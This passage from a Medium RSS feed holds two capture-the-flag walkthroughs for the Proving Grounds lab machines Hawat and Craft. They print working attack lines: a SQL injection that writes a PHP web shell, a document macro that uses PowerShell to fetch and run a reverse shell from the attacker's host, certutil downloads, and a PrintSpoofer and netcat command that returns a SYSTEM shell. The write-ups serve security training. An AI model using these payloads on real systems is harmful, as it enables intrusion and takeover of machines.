src="https://cdn-images-1.medium.com/max/558/1*3N31S5XQHTPGP5Pl5JjsqQ.png" /><figcaption>IssueController.java file</figcaption></figure><p><strong><em>-We locate the following information:</em></strong></p><p>“/issue/checkByPriority” directory</p><p>Credentials User “issue_user” and password “ManagementInsideOld797”</p><p>Issue Tracker connects to the MySQL database per the following line of code:</p><p>“jdbc:mysql://localhost:3306/issue_tracker”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*Gdj5FHx_tJj5vRAkUiGh-w.png" /><figcaption>IssueController.java file contents</figcaption></figure><ul><li><strong><em>Furthermore, we discover that the “priority” parameter in the “/issue/checkByPriority” directory is vulnerable to SQL injection.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*Ygsl8cZIT5tWH8UZTKuFfQ.png" /><figcaption>priority parameter</figcaption></figure><p>We continue with enumeration and use feroxbuster to scan port 30455. The scan reveals the web server’s root directory is “/srv/http”. We also navigate to port 17445 and find an Issue Tracker program running on the webpage.</p><h3>Port 30455</h3><ul><li><strong><em>We execute a feroxbuster directory scan and find an accessible phpinfo.php file</em></strong></li><li><strong><em>We access the website at </em></strong><a href="http://192.168.241.147:30455/phpinfo.php"><strong><em>http://192.168.241.147:30455/phpinfo.php</em></strong></a><strong><em>. Then find “/srv/http,” is the web server’s root directory.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*39DSnIwoEPHzKeY-hRNFVg.png" /><figcaption>phpinfo.php | webserver root directory</figcaption></figure><h3>Port 17445</h3><ul><li><strong><em>We access the website via </em></strong><a href="http://192.168.65.147:17445/"><strong><em>http://192.168.65.147:17445</em></strong></a><strong><em>. and discover that the “Issue Tracker” webpage is displayed here.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*DNm1DbpeBB8sqwoG_sszLA.png" /><figcaption>Issue Tracker</figcaption></figure><p>We register and log in with the setup credentials and navigate to the “/issue/checkByPriority” directory. We receive a 405 error, which indicates that the HTTP method we are using is not allowed.</p><ul><li><strong><em>We select the “Register” link, make an account, and sign in using those credentials.</em></strong></li><li><strong><em>We navigate to the “/issue/checkByPriority” directory. After examining the “IssueControler.java” file’s source code, it was discovered that this directory existed and it led to the following webpage:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*5BXSdVPIM3VRQwwyOg7Dmw.png" /><figcaption>checkByPriority</figcaption></figure><p>To investigate further, we bring up Burp Suite to see what is taking place on in the background. We send the webpage for port 17455 to the repeater and find that “POST” is allowed. We change the method to “POST” in the repeater and find that the error code changes to 400.</p><ul><li><strong><em>The directory “/issue/checkByPriority” is known to exist. In order to verify what is happening in the background, we browse to Burpsuite. The following indicates that “POST” is permitted after we send the request to “repeater”:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*w9JFhywEnRzNJ3gW9xtjwA.png" /><figcaption>Burpsuite | Allow: POST</figcaption></figure><ul><li><strong><em>We switch from “GET” to “POST” and observe that the error code has changed from “405” to “400”.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*AIkhs73dg0tzMg1Re8gXqg.png" /><figcaption>Burpsuite | Change request from GET to POST</figcaption></figure><h3>Exploitation</h3><h3>SQL Injection</h3><p>We now have enough information to exploit the vulnerability. We Google “SQL injection reverse shell” and find the syntax for uploading a cmd.php page to the server to get command execution. We add the “priority” parameter and URL-encoded syntax to Burp Suite and forward the request.</p><ul><li><strong><em>We search for “SQL injection reverse shell” on Google and come across the following link, which provides instructions on how to upload a cmd.php page to the server in order to obtain command execution:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*gQHnpB-m5_-9fupx4c0YwA.png" /><figcaption>Google | sql injection shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*4rDmwMJXIxoougwpZDt6xA.png" /><figcaption>Union Select SQL Injection</figcaption></figure><ul><li><strong><em>We URL-encode the following command:</em></strong></li></ul><p>‘union select ‘&lt;?php echo system($_REQUEST[“cmd”]); ?&gt;’ into outfile ‘/srv/http/cmd.php’</p><ul><li><strong><em>We add the URL-encoded syntax above and the “priority=’’ parameter to Burpsuite and send the request:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*38shTkFzauSjSH6poOJeIw.png" /><figcaption>Request Modification | SQL Injection</figcaption></figure><ul><li><strong><em>We navigate to “</em></strong><a href="http://192.168.213.147:30455/cmd.php?cmd="><strong><em>http://192.168.213.147:30455/cmd.php?cmd=</em></strong></a><strong><em>&quot;, type “whoami” and confirm we can run OS commands:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*Z24WFxHH4FYp5AqVsLTNWw.png" /><figcaption>Confirm OS command execution</figcaption></figure><p>We then download a PHP reverse shell to the target, naming it with the .php extension. We set up a netcat listener on Kali, run the reverse shell PHP script, and receive a root shell. We can now run OS commands on the target.</p><ul><li><strong><em>On our Kali machine, we save “/usr/share/webshells/php/php-reverse-shell.php” to a file called “rev1.php”.</em></strong></li><li><strong><em>On our Kali machine, we save “/usr/share/webshells/php/php-reverse-shell.php” to a file called “rev1.php”.</em></strong></li><li><strong><em>We setup a listener on port 30455 on our Kali machine.</em></strong></li><li><strong><em>We type “curl </em></strong><a href="http://192.168.213.147:30455/rev2.php"><strong><em>http://192.168.213.147:30455/rev2.php</em></strong></a><strong><em>&quot; on our Kali terminal and receive a root shell.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*cMOjHnCzsMR_Q1X0bKULgw.png" /><figcaption>root shell</figcaption></figure><h3>Improved skills</h3><ul><li>Password guessing</li><li>Analyzing code</li><li>Changing methods in burpsuite to receive alternate webpage</li><li>Locating root web server directory</li></ul><h3>Conclusion</h3><p>this walkthrough, we demonstrated how to compromise the Hawat machine on the Proving Grounds platform. We covered the information gathering, enumeration, and exploitation stages.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc24110b246f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds -Craft (Intermediate) WindowsBox -Walkthrough — A Journey to Offensive Security]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-craft-intermediate-windowsbox-walkthrough-a-journey-to-offensive-security-83b0f30d1488?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/83b0f30d1488</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Sat, 29 Apr 2023 05:25:47 GMT</pubDate>
            <atom:updated>2024-04-04T23:51:11.082Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds -Craft (Intermediate) WindowsBox -Walkthrough — A Journey to Offensive Security</h3><h3>Introduction:</h3><p>Craft is an intermediate-level challenge that tests your skills in web application penetration testing, privilege escalation, and reverse shell exploitation. In this walkthrough, we’ll show you how we solved this challenge step by step.</p><h4>Information Gathering</h4><p>We started by scanning all TCP ports using NMAP:</p><pre>#Nmap 7.92 scan initiated Sun Aug 21 12:35:40 2022 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN /home/brian/Downloads/Proving_Grounds/Craft/results/192.168.229.169/scans/_full_tcp_nmap.txt -oX /home/brian/Downloads/Proving_Grounds/Craft/results/192.168.229.169/scans/xml/_full_tcp_nmap.xml 192.168.229.169<br>Nmap scan report for 192.168.229.169<br>Host is up, received user-set (0.20s latency).<br>Scanned at 2022-08-21 12:35:42 PDT for 328s<br>Not shown: 65534 filtered tcp ports (no-response)<br>PORT   STATE SERVICE REASON  VERSION<br>80/tcp open  http    syn-ack Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)<br>|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7<br>|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Craft<br><br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>#Nmap done at Sun Aug 21 12:41:10 2022 -- 1 IP address (1 host up) scanned in 329.26 seconds</pre><p>The scan revealed that port 80 was open, and the web server was running Apache version 2.4.48 on Windows. We navigate to the webpage and found a file upload form that accepted “.odt” files.</p><h3>Port 80</h3><ul><li><strong><em>The following webpage was discovered when we navigated to “</em></strong><a href="http://192.168.122.169/"><strong><em>http://192.168.122.169</em></strong></a><strong><em>&quot;:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oypFe7awHn9JFZG5.png" /><figcaption>CRAFT Web Page</figcaption></figure><ul><li><strong><em>We can upload our “resume” to the following link, we found:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/0*hfg2P6CB0JMTXRjC.png" /><figcaption>Craft Web Page Upload</figcaption></figure><ul><li><strong><em>When we attempt to upload an arbitrary file, we receive the following:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/0*vAcSjFFKxOXCBUEi.png" /><figcaption>ODT File Upload</figcaption></figure><ul><li><strong><em>We researched the “.odt” file format and found that it is typically created by OpenOffice and LibreOffice Writer programs. We install LibreOffice on our Kali Linux machine and create a macro that initiates a reverse shell.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3tQWIiEaW7_p-c6k-XWMDA.png" /><figcaption>Google .odt file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/0*KtSUcSfih0SaCff8.png" /><figcaption>What Is An ODT File</figcaption></figure><ul><li><strong><em>On our Kali machine, we execute “sudo apt-get install -y libreoffice-writer” to download LibreOffice.</em></strong></li><li><strong><em>After opening LibreOffice, we select “Writer Document”:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vAiZoykxyxHk3Vpu.png" /><figcaption>LibreOffice</figcaption></figure><ul><li><strong><em>We click Tools &gt; Macros &gt; Organize Macros &gt; Basic:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-oYjkz-ah4oLTz6Q" /><figcaption>Writer Document</figcaption></figure><ul><li><strong><em>We select “Untitled 1” &gt; “New”, give the file the name Offsec1, and then select “OK”:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*bPlrlfarJSiv1udB8Muoww.png" /><figcaption>Basic Macros</figcaption></figure><ul><li><strong><em>We type Tab &gt; Shell (“cmd /c powershell iwr [Kali IP]”) between “Sub Main” and “End Sub”. This will initiate an HTTP request to our IP. The following command ought to run if port 80 is being used for hosting and it is open:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*-p25dd-_8N64ZlEC0CxXQg.png" /><figcaption>Macro Shell HTTP Request</figcaption></figure><ul><li><strong><em>We click File &gt; Save</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*5p_mgG_OYhBSpNrYil59SQ.png" /><figcaption>Save Macro Shell HTTP Request</figcaption></figure><ul><li><strong><em>We name the file “Offesec1” and click Save:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*YTRiB0BacfS1zG5fjiRmcw.png" /><figcaption>Offsec1.odt file</figcaption></figure><ul><li><strong><em>We close out of the Offsec.odt document</em></strong></li><li><strong><em>We attach the script/macro to an event, by performing the following:</em></strong></li></ul><p>select Tools &gt; Customize.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*Bdrg82xlzYN6xqF1uu4Wew.png" /><figcaption>Offsec1.odt File</figcaption></figure><ul><li><strong><em>Select the “Events” tab &gt; click Open Document &gt; click Macro</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*c_pJCXDshVGE96hGMxCl9Q.png" /><figcaption>Macro Events</figcaption></figure><ul><li><strong><em>Double click Offesec1.odt &gt; double click Standard &gt; click Offsec1 &gt; click Main &gt; click OK.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*d8GUUi3sj-gE54CEMiJpCA.png" /><figcaption>Macro Selector</figcaption></figure><ul><li><strong><em>Now an action has been allocated to the Event “Open Document”:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*phqLNrwVXHtFmW46xplIQg.png" /><figcaption>Offsec1.Main Assigned Open Document Action</figcaption></figure><ul><li><strong><em>Click “File” then “Save”</em></strong></li><li><strong><em>To host the.odt file on our Kali machine, we type “updog -p 80” (in the same directory as the freshly created Offsec1.odt file):</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*xl1zTuAzMcyhb23bdoDgAw.png" /><figcaption>Hosting Offsec11.odt File</figcaption></figure><ul><li><strong><em>We return to the webpage, select “browse,” upload our freshly created “.odt” file, and then receive the following screen indicating that the file was approved:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*CzEwIr8SLcZsh-XJbbbmYQ.png" /><figcaption>Upload Offsec1.odt File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*KX78ILVSz_kZqwDJd9TtrA.png" /><figcaption>Offsec1.odt File Accepted</figcaption></figure><ul><li><strong><em>A 200 code is received, verifying that the macro was successfully run and the.odt file was uploaded.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*tI3HcCWlaeXDmYCCRmpN-Q.png" /><figcaption>Confirmation of code execution</figcaption></figure><h3>Exploitation</h3><h4>Uploading an .odt File Including A Macro To Launch A Reverse Shell</h4><ul><li><strong><em>We return to LibreOffice Basic and select Edit on the offsec1.odt file.</em></strong></li><li><strong><em>To download and run the offsec.ps1 reverse shell, we remove the original powershell code that was there and replace it with the following code:</em></strong></li></ul><p>Shell(“cmd /c powershell iwr <a href="http://192.168.45.5/offsec.ps1">http://192.168.45.5:80/offsec.ps1</a> -o C:/Windows/Tasks/offsec.ps1”)<br>Shell(“cmd /c powershell -c C:/Windows/Tasks/offsec.ps1”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*Nq86uOGIlBdOdr4hNnKc2w.png" /><figcaption>Macro Reverse Shell</figcaption></figure><ul><li><strong><em>We click File and save.</em></strong></li><li><strong><em>On our Kali machine, we type vim offsec.ps1.</em></strong></li><li><strong><em>We access </em></strong><a href="http://www.revshells.com/"><strong><em>www.revshells.com</em></strong></a><strong><em>.</em></strong></li><li><strong><em>We copy the text between the quote marks in the PowerShell #3 tab to copy the contents to the offsec.ps1 file for the Windows payload tab.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*obp-ur3KPte-_cuZK-TgkQ.png" /></figure><ul><li><strong><em>To make offsec.ps1 executable, we type “chmod 775 offsec.ps1”.</em></strong></li><li><strong><em>As port 8080 was supplied in the Powershell one liner reverse shell (offsec.ps1), we establish a listener to listen on that port.</em></strong></li><li><strong><em>A Windows reverse shell is obtained after we reupload the offsec1.odt file.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*m9lLu343dNHVcPXz8rvGHQ.png" /><figcaption>Reverse Shell</figcaption></figure><h3>Lateral Movement To User</h3><h4>Uploading a PHP Webshell to root directory of web server leading to RCE and a reverse shell</h4><p>We then searched for a privilege escalation vector and discovered that a non-default user “apache” had write access to the web root directory. We downloaded a PHP command shell to the web root directory and navigated to it using Firefox. We confirmed that we had RCE as the “apache” user.</p><ul><li><strong><em>We type whoami and discover that we are thecybergeek user.</em></strong></li><li><strong><em>We run privesc scripts, but find no privilege escalation vectors.</em></strong></li><li><strong><em>We find default users and user apache when we type “net users”.</em></strong></li><li><strong><em>We locate the “xampp” directory by navigating to the “C:” directory.</em></strong></li><li><strong><em>We navigate to xampp and locate the htdocs directory, which is the Craft website’s root directory.</em></strong></li><li><strong><em>We determine that we have write permissions after attempting to write to the directory to verify:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*w-XlOOoJ0ciXkMHLXqLIXg.png" /><figcaption>Confirm Write Permissions In Root Apache Server Directory</figcaption></figure><ul><li><strong><em>We search “php one liner command shell” on Google.</em></strong></li><li><strong><em>On our Kali machine, we paste the contents of the text below into a “cmd.php” file.</em></strong></li></ul><p>&lt;?php system($_GET[‘cmd’]); ?&gt;</p><ul><li><strong><em>We transfer the cmd.php file into the shell’s htdocs directory.</em></strong></li><li><strong><em>We discover that we have command execution as apache when we browse to </em></strong><a href="http://192.168.98.169/cmd.php?cmd=whoami"><strong><em>http://192.168.98.169/cmd.php?cmd=whoami</em></strong></a><strong><em> in Firefox.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*6Ps4EJFMAxty7XkUWrMNzw.png" /><figcaption>Confirm Command Execution as user apache</figcaption></figure><p>Next, we download a “reverse.ps1” reverse shell to the target machine and initiate the reverse shell with the PHP command shell. We discover that the “apache” user has SeImpersonate privileges enabled and that the target machine is running Windows Server 2019 Standard on OS Version 10.0.17763 and x64 based PC.</p><ul><li><strong><em>On port 8081, we launch a netcat listener.</em></strong></li><li><strong><em>We create a powershell reverse shell named reverse.ps1:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJN91pCsd4KIUbdeYj409Q.png" /><figcaption>reverse.ps1 Reverse Shell</figcaption></figure><ul><li><strong><em>To host the file, we launch an HTTP server in the directory containing reverse.ps1.</em></strong></li><li><strong><em>We use Firefox to download the reverse.ps1 file to the destination by entering the following command:</em></strong></li></ul><p><a href="http://192.168.98.169/cmd.php?cmd=certutil.exe%20-urlcache%20-split%20-f%20http://192.168.49.98:82/reverse.ps1%20reverse.ps1">http://192.168.98.169/cmd.php?cmd=certutil.exe%20-urlcache%20-split%20-f%20http://192.168.49.98:82/reverse.ps1%20reverse.ps1</a></p><ul><li><strong><em>To run the payload, we enter the following command and, as user Apache, receive a reverse shell:</em></strong></li></ul><p><a href="http://192.168.98.169/cmd.php?cmd=cmd">http://192.168.98.169/cmd.php?cmd=cmd</a> /c powershell -c C:/xampp/htdocs/reverse.ps1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/208/1*wWGCUPARKZGOxA4D_4ILSQ.png" /><figcaption>Reverse Shell As User apache</figcaption></figure><h3>Privilege Escalation</h3><h4>Local Enumeration</h4><ul><li><strong><em>We discover that the Apache user has SeImpersonatePrivilege enabled when we type whoami /all.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*rBYsu8OGAiiLivWxZ-THOQ.png" /><figcaption>SeImpersonatePrivilege Enabled</figcaption></figure><ul><li><strong><em>We enter systeminfo to discover that the machine is an x64-based PC running Windows Server 2019 Standard on OS Version 10.0.17763.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*3OXothoLob_wBldqoFGz5Q.png" /><figcaption>systeminfo | Microsoft Windows Server 2019 Standard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*_Xg1EmE3V5OXYE1LWl3lgQ.png" /><figcaption>systeminfo | x64-based PC</figcaption></figure><ul><li><strong><em>Using PrintSpoofer64.exe, we can escalate privileges per the following webpage found when we search for “Windows Server 2019 Standard SeImpersonate privilege escalation” on Google:</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*4Ozor0T95xjMsHllHIdOuQ.png" /><figcaption>Google Windows Server 2019 Standard SeImpersonate privilege escalation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*-jbWSgphyE7m8yTqDGKxWw.png" /><figcaption>PrintSpoofer64.exe Privilege Escalation Steps</figcaption></figure><h3>Privilege Escalation Vector</h3><h4>Windows Server 2019 Standard-SeImpersonate Privilege Escalation-PrintSpoofer</h4><p>We downloaded PrintSpoofer64.exe on the target machine and initiated the PrintSpoofer64.exe privilege escalation exploit, which gave us a shell running as nt/authority system.</p><ul><li><strong><em>On our Kali computer, we launch a web server to host PrintSpoofer64.exe.</em></strong></li><li><strong><em>We input the below command to download it to the target machine:</em></strong></li></ul><p>certutil.exe -urlcache -split -f <a href="http://192.168.49.98:81/PrintSpoofer64.exe">http://192.168.49.98:81/PrintSpoofer64.exe</a> PrintSpoofer64.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*9fV5CDIIXhV6hFf_ep4zRA.png" /><figcaption>Transfer Printspoofer64.exe To Targe Machine</figcaption></figure><ul><li><strong><em>We transfer nc64.exe binary from our Kali machine to the target machine as well</em></strong></li><li><strong><em>We launch a netcat listener on port 1337 on our Kali machine and type the following command on the target machine to obtain a shell as nt/authority system:</em></strong></li></ul><p>./PrintSpoofer64.exe -c “nc64.exe 192.168.49.98 1337 -e cmd”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*5CRPpKY0LaZP6YxSFMbfCQ.png" /><figcaption>Initiating PrintSpoofer64.exe privilege escalation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*hCClZnl2hyqilDdHX1mzHw.png" /><figcaption>nt authority\system shell</figcaption></figure><h3>Improved Skills</h3><p>Throughout this process, we were able to improve our skills in several areas, including:</p><ul><li>LibreOffice</li><li>Macros</li><li>Powershell “iwr” download command</li><li>“cmd /c” shell command</li><li>PrintSpoofer Privilege Escalation</li></ul><h3>Conclusion</h3><p>Craft was an excellent challenge that tested our skills in web application penetration testing, reverse shell exploitation, and privilege escalation. We learned how to craft a malicious “.odt” file with a macro that would initiate a reverse shell, how to navigate the target machine using PHP command shells, and how to escalate privileges using PrintSpoofer64.exe.</p><h3><a href="https://twitter.com/SL0cLpS_1">https://twitter.com/SL0cLpS_1</a></h3><h3><a href="https://discord.com/users/679920497299161119">https://discord.com/users/679920497299161119</a></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83b0f30d1488" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>